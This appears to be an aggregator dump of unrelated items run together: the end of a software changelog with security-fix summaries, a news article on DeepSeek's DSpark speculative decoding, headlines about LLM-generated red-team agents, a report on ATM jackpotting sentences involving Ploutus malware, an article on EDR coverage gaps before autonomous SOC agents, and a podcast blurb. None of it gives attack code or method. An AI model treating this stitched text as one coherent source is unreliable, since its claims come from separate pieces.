• Authorize relay-delivered events by delivery, not source.platform; adopt scope_id wire key; purge platform-specific scope terminology (#52306, #55289, #56016 — @benbarclay)

Gateway core & rendering

• Typed send-error classification (SendResult.error_kind); per-platform typing_indicator toggle; per-category context breakdown in /usage (#50342, #55394, #55204 — @teknium1)
• API server: configurable concurrent-run cap to prevent DoS; scope run approvals by run id (#50007, #56129 — @teknium1)

📱 Messaging Platforms

• Cron continuations — continuable cron jobs (thread-preferred continuation with DM-mirror fallback); flat in-channel continuable cron delivery for Slack; warn when gateway not running on cron create/list (#52250, #56254, #51696 — @teknium1)
• Telegram: configurable command menu + raised default cap so skills stay visible; gate rich draft previews separately; drain general send pool on pool timeout before retry (#51716, #52088, #54121 — @teknium1, @helix4u)
• Slack: opt-in Block Kit rendering for agent messages; --no-assistant flag for manifest generation (#56102, #51487 — @teknium1)
• Discord: render reasoning as -# subtext via display.reasoning_style (#51168 — @teknium1)
• Native WhatsApp media delivery via the Baileys bridge; Teams native send_video/send_voice/send_document; photon sidecar upgraded to spectrum-ts v8 with tapback correlation; Raft gateway setup wizard (#53598, #49308, #53451, #56230 — @teknium1)
• Signal: AAC voice-note remux + shared markdown formatting (#49530 — @kshitijk4poor)
• Migrate slack/dingtalk/whatsapp/matrix/feishu/telegram/wecom/email/sms adapters to bundled (#49408 — @teknium1)

🔧 Tool System, Skills & MCP

• Blank Slate setup mode — minimal agent, opt in to everything (#36733 — @teknium1)
• MCP: config persistence attack surface hardened; block base_url exfil; keepalive for short-TTL sessions (see Security) — plus catalog & UX carried from v0.17.0
• Skills: /learn distillation (see Self-Improvement); cloudflare-temporary-deploy optional skill; creative-ideation v2.1.0 method library (#50849, #42402 — @teknium1, @SHL0MS)
• Kanban: task lifecycle plugin hooks (claimed/completed/blocked); typed block reasons + unblock-loop breaker; handoff freshness stamping (#50349, #52848, #53973 — @teknium1)
• Plugins: ctx.profile_name for session-agnostic profile access (#50346 — @teknium1)
• LSP: PowerShellEditorServices language server; mem0 v3 API + OSS mode + update/delete tools (#55930, #15624 — @teknium1, @kartik-mem0)

⚡ Performance

• Cold start: lazy-load gateway platform adapters; parse config + plugin manifests with libyaml CSafeLoader (#54448, #54486 — @teknium1)
• State: merge FTS5 segments + handoff_state index to curb write-lock contention; single-pass list_profiles alias map + skill-count cache + event-loop offload (#54752, #54770 — @kshitijk4poor, @teknium1)

🔒 Security & Reliability

• Harden MCP-config persistence attack surface; block cron base_url overrides that exfiltrate provider credentials; non-reusable sentinel for prefix secrets in file reads (#50476, #56196, #54166 — @teknium1, @kshitijk4poor)
• Redact Slack App-Level (xapp-) tokens; browser cloud-metadata floor on all backends (CDP non-local); re-check private-network guard after browser_back navigation; scope /resume and /sessions to caller origin (IDOR); aiohttp 3.14.1 CVE floor across lazy messaging paths + pin-drift guard (#56227, #52349, #56526, #56378, #56237 — @teknium1, @claudlos, @kshitijk4poor)
• Cron reliability wave: fail closed when an unpinned job's provider drifts; run missed-grace jobs once instead of deferring forever; keep the ticker alive on BaseException + heartbeat-aware status; layer enabled MCP servers onto per-job toolsets; guard cron model-tool path + auto-resume loop breaker (#51051, #50062, #50016, #50117, #56240 — @kshitijk4poor, @teknium1)
• Windows: suppress console flashes + harden gateway restarts; prefer cmd npm shim on PATH fallback; respawn gateway windowless after GUI update; prefer managed node for whatsapp/desktop (#52340, #50398, #52239 — @helix4u, @teknium1)

🔁 Reverts (in-window, for the record)

• cron job storage returned to per-profile (reverts #32117 + #50993); don't clone auth.json (duplicating OAuth grant causes sibling revocation); windows terminal-popup PRs rolled back; prompt_caching.enabled toggle backed out for re-evaluation (#51116, #51732, #53853, #56126 — @teknium1)

👥 Contributors

381 people contributed to this release (via commits, co-author trailers, and salvaged PRs). Thank you, all of you.

Core

• @teknium1 — release lead; MoA first-class, verification/goals, /learn, background review, security round, providers, the P0/P1 clean-sweep
• @OutThisLife — desktop app (projects, memory graph, /journey, multi-terminal, composer refactor wave, pets, verification UX)

Top community contributors

• @kshitijk4poor — the P0/P1 backlog burn: cron reliability wave, state perf, security (cron credential-exfil), gateway/signal, TUI config — a huge share of the priority closures
• @benbarclay — relay Phase 5/6, scale-to-zero / drain coordination, dashboard auth/keys, gateway hardening
• @ethernet8023 — CI/docker (unified jobs, faster builds, timings report)
• @helix4u — Windows hardening (console flashes, npm shim, gateway restarts)

All contributors

@0xbyt4, @0xDevNinja, @0xsir0000, @1RB, @595650661, @aaronlab, @abchiaravalle, @adammatski1972, @AetherAgents,
@Afnath-max, @agt-user, @ahmadashfq, @AhmetArif0, @AIalliAI, @aieng-abdullah, @ailang323, @ailthrim, @aj-nt,
@alelpoan, @alloevil, @amathxbt, @ambition0802, @anderskev, @andressommerhoff, @angelos, @annguyenNous,
@Antimatter543, @arminanton, @arthurzhang, @asimons81, @austinpickett, @baolingao, @Bartok9, @basilalshukaili,
@BBCrypto-web, @bbopen, @Beandon13, @beardthelion, @benbarclay, @benbenlijie, @binhnt92, @bitcryptic-gw,
@Blaryxoff, @bogerman1, @bradhallett, @brett539, @briandevans, @buihongduc132, @bykim0119, @catapreta,
@chaithanyak42, @charleneleong-ai, @CharlieKerfoot, @chazmaniandinkle, @chrispersico, @Christopher-Schulze,
@chriswesley4, @claudlos, @clovericbot, @cmcejas, @codexGW, @Cossackx, @counterposition, @coygeek, @CRWuTJ,
@cyb0rgk1tty, @cyb3rwr3n, @cypctlinux, @cypres0099, @dalenguyen, @Danamove, @DanAsBjorn, @DataAdvisory,
@davidgut1982, @DavidMetcalfe, @davidvv, @de1tydev, @denisqq, @devorun, @devsart95, @DhivinX, @DiamondEyesFox,
@difujia, @Disaster-Terminator, @djimit, @djstunami, @dodo-reach, @donovan-yohan, @Dr1985, @DrZM007, @Dusk1e,
@egilewski, @ehz0ah, @Eji4h, @EloquentBrush0x, @Elshayib, @emozilla, @entropy-0x, @erosika, @EtherAura,
@etherman-os, @ethernet8023, @f-trycua, @fayenix, @fesalfayed, @firefly, @flamiinngo, @flobo3, @francescomucio,
@franksong2702, @friendshipisover, @fsaad1984, @fyzanshaik, @GauravPatil2515, @gdeyoung, @georgex8001,
@GodsBoy, @graphanov, @Gromykoss, @gustavosmendes, @Gutslabs, @H2KFORGIVEN, @haileymarshall, @hakanpak,
@happy5318, @haran2001, @harjothkhara, @heathley, @hehehe0803, @helix4u, @herbalizer404, @HexLab98,
@HiddenPuppy, @Hinotoi-agent, @HODLCLONE, @houko, @huangsen365, @huangxudong663-sys, @huangxun375-stack,
@HwangJohn, @iaji, @iamlukethedev, @IamSanchoPanza, @IAvecilla, @Icather, @iizotov, @indigokarasu,
@infinitycrew39, @ipriyaaanshu, @isair, @islam666, @itenev, @itsflownium, @izumi0uu, @Jaaneek, @JabberELF,
@jackjin1997, @jackroofan, @janrenz, @jasnoorgill, @jasonQin6, @jcjc81, @jearnest11, @jeeves-assistant,
@Jeffgithub0029, @jeffrobodie-glitch, @JezzaHehn, @jimmyjohansson84, @jmmaloney4, @jnibarger01, @JoaoMarcos44,
@jplew, @Junass1, @justemu, @justin-cyhuang, @JustinOhms, @jvradahellys24-art, @Kailigithub, @kaishi00,
@kangsoo-bit, @kartik-mem0, @keiravoss94, @kenyonxu, @kernel-t1, @Kewe63, @KeyArgo, @KiruyaMomochi, @kn8-codes,
@Kolektori, @konsisumer, @kshitijk4poor, @kyssta-exe, @Kyzcreig, @Lazymonter, @LehaoLin, @LeonSGP43, @lEWFkRAD,
@libre-7, @LIC99, @LifeJiggy, @linyubin, @liuhao1024, @lkevincc0, @lkz-de, @loes5050, @londo161, @lubosxyz,
@m24927605, @MaheshtheDev, @manus-use, @marco0158, @MarioYounger, @martinramos002-bot, @MattKotsenas,
@max-chen, @MaxFreedomPollard, @maxmilian, @maxpetrusenko, @memosr, @Mibayy, @Minksgo, @mintybasil, @mkslzk,
@mohamedorigami-jpg, @MorAlekss, @mrparker0980, @ms-alan, @namredips, @nankingjing, @natehale, @necoweb3,
@neo-2026, @Nickperillo, @nightq, @nikshepsvn, @nnnet, @nocturnum91, @nodejun, @NousResearch, @nycomar,
@OmarB97, @orbisai0security, @oreoluwa, @outsourc-e, @OutThisLife, @p-andhika, @panghuer023, @Paperclip,
@peetwan, @pefontana, @petrichor-op, @pinguarmy, @PINKIIILQWQ, @pmos69, @PolyphonyRequiem, @pprism13,
@PRATHAMESH75, @professorpalmer, @pyxl-dev, @Que0x, @qWaitCrypto, @r266-tech, @RafaelMiMi, @Railway9784,
@randomuser2026x, @rayjun, @rc-int, @rebel0789, @redactdeveloper, @riyas22, @rlaope, @rob-maron, @rodboev,
@rodrigoeqnit, @rratmansky, @rrevenanttt, @ruangraung, @Ruzzgar, @ryo-solo, @s010mn, @Sahil-SS9,
@SahilRakhaiya05, @SandroHub013, @Sanjays2402, @sasquatch9818, @ScotterMonk, @season179, @sgabel, @sgaofen,
@sgtworkman, @shandian64, @shannonsands, @shashwatgokhe, @shawchanshek, @sherman-yang, @SHL0MS, @SidUParis,
@SimoKiihamaki, @simpolism, @sjh9714, @skabartem, @skyc1e, @slawt, @soynchux, @spiky02plateau, @spjoes,
@sprmn24, @srojk34, @stepanov1975, @steveonjava, @Subway2023, @sweetcornna, @swissly, @Sworntech-dev,
@syahidfrd, @synapsesx, @szzhoujiarui-sketch, @talmax1124, @telos-oc, @testingbuddies24, @texhy, @tgmerritt,
@theAgenticBuilder, @thestral123, @tkwong, @Tortugasaur, @Tranquil-Flow, @trevorgordon981, @truenorth-lj,
@tt-a1i, @tuancookiez-hub, @TutkuEroglu, @tymrtn, @udatny, @UgwujaGeorge, @underthestars-zhy, @uperLu,
@uzunkuyruk, @valenteff, @valentt, @vanthinh6886, @Versun, @victor-kyriazakos, @virtuadex, @vKongv,
@w31rdm4ch1nZ, @weidzhou, @wgu9, @whoislikemiha, @wnuuee1, @woaini30050, @WuKongAI-CMU, @WuTianyi123, @WXBR,
@x7peeps, @x9x9x9x9x9x91, @Xowiek, @xxchan, @xxxigm, @xydigit-zt, @yapsrubricsz0, @yashiels, @yeyitech, @ygd58,
@YLChen-007, @yong2bba, @yoniebans, @ypwcharles, @yu-xin-c, @yungchentang, @yusekiotacode, @YuShu, @yyzquwu,
@zapabob, @zccyman, @zeapsu, @zmlgit, @znding04, @Zyxxx-xxxyZ

Also: Lucas Nicolas.

Full Changelog: v2026.6.19...v2026.7.1

Over the weekend, the firm released DSpark, a new, MIT-Licensed system designed to make large language models answer faster without changing what the underlying model is trying to say.

The easiest way to think about it is this: most AI chatbots write like someone crossing a river one stepping stone at a time. They choose one small chunk of text, then the next, then the next.

DSpark gives the system a scout that runs a few steps ahead, guesses the likely path, and lets the larger model quickly check which steps are safe. When the guesses are good, the model moves faster. When the guesses are weak, DSpark tries not to waste time checking them.

DeepSeek published the work with a technical paper, model checkpoints and DeepSpec, a codebase for training and evaluating speculative decoding systems. The release is available through DeepSeek’s public GitHub and Hugging Face pages, both under the permissive, friendly, commonplace MIT license, making the new technique broadly usable by developers, researchers and commercial enterprise operations that want to study or adapt the approach.

The system is aimed at one of the most expensive problems in AI deployment: serving large models quickly enough for real users, while using hardware efficiently enough to make the economics work. That matters for consumer chatbots, coding assistants, agentic workflows and enterprise AI systems where users expect long answers to stream quickly rather than crawl out word by word.

DeepSeek is applying DSpark to its own latest frontier open model, DeepSeek-V4.

Specifically, DeepSeek used its new DSpark framework on DeepSeek-V4-Flash, its already speed-optimized 284-billion-parameter mixture-of-experts model with 13 billion active parameters, and DeepSeek-V4-Pro, its more thoughtful and powerful 1.6-trillion-parameter model with 49 billion active parameters (Both support context windows up to one million tokens).

But the broader significance is that DSpark is not conceptually limited to DeepSeek-V4. DeepSeek’s own tests and released checkpoints cover other open model families, including Alibaba's open weights Qwen and Google's open weights Gemma.

That means enterprise teams running open-weight models could, in principle, train or fine-tune DSpark-style draft modules for their own target models. It is not a switch that any API customer can flip from the outside, but it is a method that can travel to other models when the operator controls the weights and serving stack.

Staggering speed increases for generating tokens during inference

In DeepSeek’s live production tests, DSpark improved aggregate throughput by 51% for DeepSeek-V4-Flash at an 80-token-per-second-per-user service target, and by 52% for DeepSeek-V4-Pro at a 35-token-per-second-per-user target. At matched system capacity, DeepSeek reports per-user generation speedups of 60% to 85% for V4-Flash and 57% to 78% for V4-Pro over its prior MTP-1 production baseline.

The different speed claims measure different things. The 60% to 85% figure for V4-Flash, and the 57% to 78% figure for V4-Pro, describe how much faster individual users receive generated tokens when DeepSeek compares DSpark with MTP-1 at matched practical system capacity.

Those are the cleaner “generation speed” numbers. DeepSeek also reports much larger 661% and 406% increases, but these measure aggregate throughput under very strict speed targets: 120 tokens per second per user for V4-Flash and 50 tokens per second per user for V4-Pro.

At those targets, DeepSeek says its older MTP-1 baseline approaches an operational cliff, meaning it can keep only a small number of concurrent requests running while preserving that level of responsiveness.

DSpark avoids more of that collapse, so the percentage difference in total system output becomes much larger. Put simply: the 85% number is closer to “how much faster the ride feels for a user” under comparable conditions, while the 661% and 406% figures are closer to “how much more traffic the road can still carry” when the old system is already bottlenecking.

Why speculative decoding matters

LLMs usually generate text one token at a time. A token can be a word, part of a word, punctuation mark or other small piece of text. Every new token depends on the text already produced, so the model has to keep pausing, checking the full context and choosing the next piece.

That is accurate, but slow. It is like having a senior editor approve every word before a writer can move to the next one. The editor may be excellent, but the process creates a bottleneck.

Speculative decoding, developed in the early Transfomer era, tries to fix that bottleneck. Instead of asking the large model to produce every token one by one, the system uses a smaller or lighter draft component to suggest several likely next tokens. The large model then checks that batch of guesses in parallel. If the draft guessed correctly, the system moves ahead several tokens at once. If the draft made a bad guess, the system rejects the bad token and anything after it, adds a corrected token, and tries again.

The point is speed without changing the larger model’s intended output. In the standard speculative decoding setup, the draft model is not replacing the target model. It is acting more like an assistant who prepares a rough next sentence for the senior editor to approve or reject.

The idea did not appear out of nowhere with today’s large language models. A key precursor came in 2018, when Mitchell Stern, Noam Shazeer and Jakob Uszkoreit proposed blockwise parallel decoding for deep autoregressive models. Their method predicted multiple future steps in parallel, then kept the longest prefix validated by the main model. That paper established much of the draft-and-check intuition behind later speculative decoding work.

The research line became more explicit in 2022. Heming Xia, Tao Ge and co-authors introduced SpecDec, a draft-and-verify approach for sequence-to-sequence generation. Later that year, Yaniv Leviathan, Matan Kalman and Yossi Matias posted “Fast Inference from Transformers via Speculative Decoding,” which helped define the modern version of the technique for transformer-based language models. DeepMind researchers followed in 2023 with a closely related method called speculative sampling.

Those 2022 and 2023 papers are the clearest ancestors of how speculative decoding is discussed in current LLM inference work: a faster draft process proposes tokens, and the larger target model verifies them in a way designed to preserve the target model’s output distribution.

Since then, the field has moved quickly through several variants, including separate draft models, multi-token prediction heads, tree-based verification, feature-level methods such as EAGLE, self-speculation, Medusa-style extra heads and parallel/blockwise drafters such as DFlash.

The key metric is not how many tokens a draft model can guess. It is how many of those guesses the larger model actually accepts. Long speculative blocks help only if enough of the proposed tokens survive verification. Otherwise, the system spends compute checking guesses that it throws away.

That is the context for DSpark. Speculative decoding is already an established inference technique before DeepSeek’s release, with support in major serving stacks and multiple competing research approaches. But it is still not a solved problem. Speedups depend heavily on the draft model, the workload, the serving setup and the current traffic level. DSpark’s contribution is to improve both sides of the trade-off: it tries to draft more coherent token blocks and then verify only the parts of those blocks that are likely to pay off under real serving conditions.

What DSpark changes

DSpark tackles two related problems: bad guesses and wasted checking.

First, the system uses what DeepSeek calls semi-autoregressive generation. In plain English, that means DSpark tries to combine speed with a bit more awareness of sequence.

A fully parallel drafter can guess several tokens at once, which is fast, but its later guesses can become less coherent because each position is predicted too independently. A purely step-by-step drafter can keep better track of how one token leads to the next, but it loses much of the speed advantage.

DSpark tries to keep the best of both. It uses a parallel backbone for most of the drafting work, then adds a lightweight sequential head that lets the draft take nearby token relationships into account. In the paper’s example, a parallel drafter might confuse likely phrase endings such as “of course” and “no problem,” producing awkward combinations because it is guessing positions too separately. DSpark’s sequential component helps the system make the later tokens fit the earlier ones.

Second, DSpark adds confidence-scheduled verification. Rather than always asking the target model to check the same number of draft tokens, DSpark estimates which prefix of the draft is likely to survive. A hardware-aware scheduler then adjusts how much of each draft should be verified based on both model confidence and current serving load.

A simple analogy: when a restaurant is quiet, the head chef can inspect more of the prep cook’s work. When the kitchen is slammed, the chef spends attention only on the dishes most likely to be ready. DSpark applies a similar idea to AI serving. Under lighter traffic, the system can afford to check longer draft prefixes. Under heavier traffic, it trims low-confidence trailing guesses before they consume batch capacity that could be used for other users.

DeepSeek frames this as an answer to a common production trade-off. Static multi-token drafting can look attractive in isolation, but can hurt throughput under high concurrency because the system keeps checking tokens that are likely to be rejected. DSpark’s scheduler makes the verification budget flexible instead of fixed.

Offline results: better draft acceptance across Qwen and Gemma

DeepSeek tested DSpark offline on Qwen3-4B, Qwen3-8B, Qwen3-14B and Gemma4-12B target models across math, coding and chat benchmarks.

In those tests, the team compared DSpark with DFlash, a parallel drafter, and Eagle3, an autoregressive drafter. The paper reports accepted length per decoding round, a measure of how many tokens survive verification on average.

Across the three Qwen3 model sizes, DSpark improved macro-average accepted length over Eagle3 by 30.9%, 26.7% and 30.0%, respectively. Compared with DFlash, it improved accepted length by 16.3%, 18.4% and 18.3%. The paper also says the gains generalized to Gemma4-12B.

That supports a point raised by developer Daniel Han, who highlighted on X that DeepSeek showed DSpark working beyond DeepSeek’s own V4 models, including Gemma and Qwen. I would include Han as community reaction, not as the sole evidence for the claim. The stronger support comes from DeepSeek’s own benchmarks and released checkpoints.

The offline results also show why workload matters. Structured tasks such as math and code tend to have higher accepted lengths than open-ended chat. That makes intuitive sense: a code completion or math step often has fewer reasonable next moves than a free-form conversation.

For enterprises, this means DSpark-style methods may be especially attractive for coding assistants, data analysis agents, structured workflow automation and other settings where outputs follow more predictable patterns.

How enterprises could use DSpark without DeepSeek-V4

One of the most important questions is whether DSpark is a DeepSeek-only optimization or a broader method that can be applied to other models. The answer is: broader method, but not automatic plug-in.

For open-weight models, the path is relatively clear. An enterprise running Qwen, Gemma, Llama, Mistral, Granite, Command-style open weights or another model it hosts itself could train or fine-tune a DSpark-style draft module against that target model.

The team would then measure acceptance on its own workloads and integrate the verification scheduler into its inference stack.

That is different from simply downloading DeepSeek’s DSpark module and attaching it to any model. Speculative decoding depends on alignment between the draft module and the target model. The draft has to learn what the target model is likely to accept. A drafter trained for DeepSeek-V4 will not automatically be the right drafter for a different model, especially one fine-tuned on a company’s internal data or configured for different reasoning behavior.

DeepSpec’s workflow reflects this. The process involves preparing data, regenerating target-model answers, building a target cache, training the draft model and evaluating speculative-decoding acceptance. For domain-specific use, the draft model may need additional fine-tuning, especially if the target model runs in a thinking or reasoning mode.

For proprietary models, the answer depends on what the enterprise controls. If a company owns or fully hosts the model weights and serving stack, it could theoretically train and deploy a DSpark-style drafter. If the model is available only through a hosted API from a vendor, the customer cannot directly add DSpark from the outside. The API provider could implement a similar optimization internally, but the customer generally cannot access the token verification loop, logits, batching behavior or serving scheduler needed to make DSpark work.

That distinction matters for enterprise buyers. DSpark strengthens the case for open or self-hosted AI infrastructure because it gives advanced teams another lever to improve speed and cost. But it also shows why model serving is becoming a specialized discipline. The value is not just in picking a model, but in how intelligently that model is run.

What developers get from DeepSpec

For developers, DeepSpec gives a concrete implementation path for training and evaluating speculative decoding draft models. It includes data preparation, training and benchmark evaluation steps, along with released checkpoints for several open model families. That makes the release useful not only for running DeepSeek-V4 with DSpark, but also for researchers and infrastructure teams studying how to add faster decoding to other open models.

There are real deployment caveats. DeepSpec’s own README says the default Qwen3-4B data preparation setup can require roughly 38 TB of target cache storage, and the default scripts assume a single node with eight GPUs. That makes the release more immediately relevant to AI labs, cloud teams and sophisticated enterprise AI infrastructure groups than to ordinary application developers.

Still, releasing the training pipeline matters. Many inference optimizations appear only as papers, vague benchmarks or closed production claims. DeepSpec gives developers something closer to a set of blueprints: not a finished enterprise product, but a way to reproduce, adapt and evaluate the method.

Early community testing

The release has already drawn fast developer attention. Developer Rafael Caricio published a GitHub pull request documenting single-stream DeepSeek-V4-Flash DSpark work, reporting warmed benchmark anchors of 26.33 tokens per second without speculative decoding, 39.88 tokens per second with MTP-1, and roughly 60 tokens per second with DSpark — about 1.5x over MTP-1 and 2.3x over no-spec decoding.

A later commit in the same thread recorded a five-run mean of 60.31 tokens per second, with a 1.51x gain over MTP-1 and 2.29x over non-speculative decoding.

The same work also points to an important practical limit: in realistic multi-turn coding sessions, performance can degrade as draft acceptance falls with growing context. In other words, DSpark can make decoding faster, but acceptance quality still determines how much speed the system actually realizes.

That is a useful reality check. DSpark is not magic. It still depends on how predictable the next tokens are and how well the drafter stays aligned with the target model. But the early implementation work suggests DeepSeek’s claims are not purely academic. Developers are already testing the method in practical serving environments and reporting gains close to the paper’s single-stream expectations.

The bottom line

DSpark shows how much performance remains available in the inference layer, even when the underlying model architecture stays the same. As AI companies compete on model quality, context length and pricing, decoding efficiency is becoming another major battleground.

Faster generation means lower latency for users, higher throughput for providers and better economics for teams serving open models at scale.

DeepSeek’s release is notable because it combines a production-tested method, open code, public checkpoints and a detailed paper. The main innovation is not just drafting more tokens. It is making the system more selective about which speculative work is worth verifying.

For enterprise teams, the broader lesson is that the next wave of AI performance gains will not come only from larger models. It will also come from smarter ways to run the models companies already have — especially when those companies control enough of the stack to tune the model, train a compatible draft module and optimize the serving engine around real workloads.

Read more →

The post LLM-Generated Mythic Agents Enable Disposable Red-Team Tooling From Prompt to Deployment appeared first on IT Security News.

The post LLM-Generated Mythic Agents Enable Disposable Red-Team Tooling From Prompt to Deployment appeared first on Cyber Security News.

Two Venezuelan nationals have been sentenced to 78 months in prison for their role in an ATM jackpotting scheme that used malware to force cash machines across the United States to dispense money illegally. The operation, which authorities say was part of a broader transnational criminal network, involved the deployment of Ploutus malware on ATMs and resulted in losses exceeding $1.5 million.

Carlos Javier Padron, 36, was sentenced after pleading guilty to conspiracy to commit bank burglary and computer fraud. His co-defendant, Oddry Arnoldo Cabrera Torrealba, 37, received the same sentence on June 11 after pleading guilty to identical charges.

Ploutus Malware Used to Trigger Unauthorized Cash Withdrawals

According to court documents, Padron and Torrealba were members of a criminal network responsible for carrying out ATM jackpotting attacks across the United States. Their role involved physically installing a variant of Ploutus malware on targeted ATMs.

Once activated, the malware enabled attackers to send commands directly to the ATM's cash dispensing module, allowing unauthorized withdrawals of currency. Investigators said the malware was also designed to erase traces of its presence, making it more difficult for financial institutions to detect the compromise.

The two men were arrested by the Lincoln Police Department during an ATM jackpotting incident in October 2024.

More Than $1.5 Million Ordered in Restitution

Along with their prison sentences, Padron and Torrealba were jointly ordered to pay $1,537,696 in restitution to the affected financial institutions.

Officials said the investigation uncovered a much larger criminal operation following their arrests. Authorities have since indicted 96 additional individuals connected to the conspiracy on charges including bank burglary conspiracy, money laundering, computer fraud, unauthorized access to protected computers, bank fraud, and providing material support to a designated foreign terrorist organization.

Authorities Link Scheme to Tren de Aragua

U.S. officials stated that the investigation established direct and indirect links between several indicted co-conspirators and Tren de Aragua, a transnational criminal organization that originated in Venezuela.

According to investigators, the group has expanded its operations throughout the Western Hemisphere and has been involved in crimes including drug trafficking, firearms trafficking, kidnapping, robbery, extortion, commercial sex trafficking, and financial fraud.

Authorities allege that ATM jackpotting became one of the organization's revenue-generating activities, targeting financial institutions across the United States through coordinated cyber-enabled attacks.

Justice Department Says Financial Crimes Fund Organized Crime

Assistant Attorney General A. Tysen Duva said the defendants helped deploy malware as part of a criminal network that stole millions of dollars from ATMs across the country. He added that disrupting such operations is critical to protecting financial institutions from technology-enabled fraud.

U.S. Attorney Lesley Woods for the District of Nebraska described ATM jackpotting as a significant revenue source used to finance the criminal activities attributed to the organization and said federal prosecutors would continue targeting its financial networks.

The FBI's Omaha Field Office said it continues to adapt its investigative efforts as criminal organizations increasingly rely on cyber-enabled financial crimes. Homeland Security Investigations also stated that the prosecution was intended to protect both consumers and the U.S. financial system from organized criminal activity.

Multi-Agency Investigation Continues

The investigation was led by the FBI Omaha Field Office and Homeland Security Investigations, with assistance from numerous federal, state, and local law enforcement agencies across the United States.

The case is being prosecuted by the Justice Department's Computer Crime and Intellectual Property Section, the U.S. Attorney's Office for the District of Nebraska, and Joint Task Force Vulcan.

Officials said the case forms part of a broader federal effort targeting transnational criminal organizations involved in cybercrime, financial fraud, and other organized criminal activities. The investigation into the wider network remains ongoing.

Read more of this story at Slashdot.

If a device has no agent, no management console shows it. If a CMDB record is stale, no reconciliation flags it. An employee who installed Claude Enterprise outside procurement created a SaaS workspace, identity surface, and API-token footprint that endpoint telemetry alone will not reliably inventory. The coverage percentage on the EDR dashboard is structurally incomplete because the reporting mechanism cannot see what it does not cover.

That gap matters more now than it did six months ago. SOC and XDR vendors are pushing more autonomous investigation and remediation into production. Those agents will query the same dashboards, trust the same coverage percentages, and act on the same blind spots human analysts learned to work around. A human analyst second-guesses a 98% coverage number. An autonomous agent treats it as ground truth and moves at machine speed.

Three independent signals converged on the same gap

Gravitee’s 2026 survey of 900-plus executives found 88% reported confirmed or suspected AI-related incidents, and only 14.4% sent agents live with full security approval. The Axonius/Ponemon report found 52% of respondents would let autonomous agents act on recommendations — while 63% said the underlying data lacks important information. The CSA's Agentic Trust Framework requires verified data governance before agents act on any finding.

Mike Riemer, Field CISO at Ivanti, said that known vulnerabilities on Azure’s honeypot networks are now attacked in under 90 seconds. “Traditional security measures continue to work,” Riemer told VentureBeat.

The caveat is that those measures only protect what they can see. An EDR agent deployed across 87.3% of the device inventory leaves the remaining 12.7% outside that agent’s telemetry, policy enforcement, and detection logic.

Exclusive deployment data quantifies the scale

Joe Diamond, CEO of Axonius, told VentureBeat that the average CISO sees roughly 50% of what is actually on the network. “Say 50% of their environment is sitting in dark matter,” Diamond said. “They don’t know what it is, or where it is, or who has access to it, if it’s secure, if it’s not secure.”

Deployment data from more than 900 Axonius customers confirms those numbers. TransUnion went from 70% to 99% endpoint coverage after out-of-band verification. Western Union went from 85% to 99% by consolidating data from 38 tools and cutting manual workload by half. Lumen discovered 1.1 million assets, where the CMDB showed 17,000. That translates to roughly 37,000 unmanaged endpoints per organization sitting outside every policy, every patch cycle, and every detection rule.

Diamond pointed to Mythos, Anthropic’s frontier reasoning model, as a sign that machine-speed offensive capability will make any unknown asset far riskier than it is today. “People tend to have shiny object syndrome,” he said. “If you didn’t understand what 50% of your environment looked like from a traditional endpoint perspective, and you think you’re going to wind sprint to granular control and governance of AI, your program will fail.” Diamond called the broader AI shift “as big, if not bigger than the internet.”

Three approaches compete to close the gap

No single architecture solves the visibility problem today. Three approaches compete, each with named tradeoffs security teams should evaluate before procurement.

A dedicated integration layer uses bidirectional API adapters to build an always-current inventory. Axonius runs 1,400-plus adapters and now discovers shadow Claude Enterprise installations via its Anthropic adapter (GA June 15). “We created a bidirectional API integration with all the IT systems and all the security controls to build an always up-to-date inventory of what the environment looks like,” Diamond told VentureBeat.

Platform-native EDR and XDR intelligence builds richer asset context inside the agent footprint. Depth within the agent footprint is the advantage. The limitation is structural. Platform-native intelligence is bounded by what the agent can see, and the gap the Ponemon report identified lives precisely where that visibility ends.

CMDB modernization requires continuous reconciliation against three or more independent telemetry sources. Only 13% of organizations reconcile daily, according to Axonius/Ponemon data. The remaining 87% operate on stale records that feed incorrect prioritization into any automated remediation pipeline.

EDR data readiness: Five gates before autonomous remediation

Before you let autonomous SOC agents close tickets or quarantine assets, this checklist tells you whether your EDR and asset data is solid enough to trust. It is vendor-agnostic, works with any EDR and CMDB, and gives you five pass/fail gates you can run in a single working session.

Five questions to ask before allowing autonomous SOC action

1. What independently verifies endpoint-agent coverage outside the EDR console?

2. How does the SOC reconcile conflicts between EDR, CMDB, cloud inventory, IdP, and discovery tools?

3. Can AI agents act on assets with unknown or disputed ownership?

4. Can the system distinguish “not vulnerable” from “not visible”?

5. What data-quality gate blocks autonomous remediation when coverage or ownership falls below threshold?

Board-ready risk framing

Kayne McGladrey, IEEE Senior Member, has confirmed the pattern across multiple published VentureBeat interviews. The structural gap in self-reported coverage is not new. What is new is that autonomous agents will act on it at machine speed without the institutional workarounds human analysts developed over years of experience. Diamond put the board-level stakes plainly in an April 2026 press statement: “Findings pile up because the data isn’t trusted, ownership isn’t clear, and entire asset classes aren’t even in the picture.”

The CSA’s Agentic Trust Framework requires that any agent promoted to a higher autonomy level must pass five gates, including demonstrated accuracy and a security audit. The EU AI Act’s Article 50 transparency obligations take effect August 2, 2026. The May 2026 Digital Omnibus pushed high-risk system obligations to December 2027, but organizations deploying agentic SOC agents on incomplete asset data face immediate operational risk that outpaces any regulatory timeline.

The board-ready sentence: Our EDR coverage reports are structurally incomplete because an endpoint agent cannot report its own absence, and we are verifying coverage through out-of-band discovery before deploying autonomous agents that would act on those reports at machine speed.

Security director playbook

1. Run out-of-band asset discovery this week. Compare results against your CMDB export and EDR console count. If the delta exceeds 10%, halt automated remediation scoping until the gap is reconciled.

2. Deploy SaaS discovery for AI services. Employees install AI ahead of procurement, ahead of security. Weekly scans are the minimum. Route any unmanaged high-risk instance to your incident response queue for triage before exception review.

3. Map asset ownership to remediation responsibility. Ponemon found only 32% of organizations apply tags consistently. If three systems show three different owners for the same asset, automated remediation has no routing target. Fix the ownership layer before deploying agents that depend on it.

4. Kill self-reported-only coverage metrics. Any risk calculation or board report that relies on EDR console-reported coverage alone is built on data the reporting system cannot verify. Require out-of-band verification for every coverage number that informs a risk decision.

David Shipley, Instructor at Anglia Ruskin University, joins the Forensic Focus Podcast to talk about the human cost of online safeguarding work and his fight to close a gap in UK law. Drawing on 16 years investigating abusive imagery and online child sexual offending, David reflects on what the work actually involves — from the scale of the problem and the relentless build-up of warrants and digital forensic backlogs, to the difficult triage decisions investigators must make when no team can examine every device. He's candid about what "safeguarding" really means in practice, and about the mental toll the role takes on the people who do it.

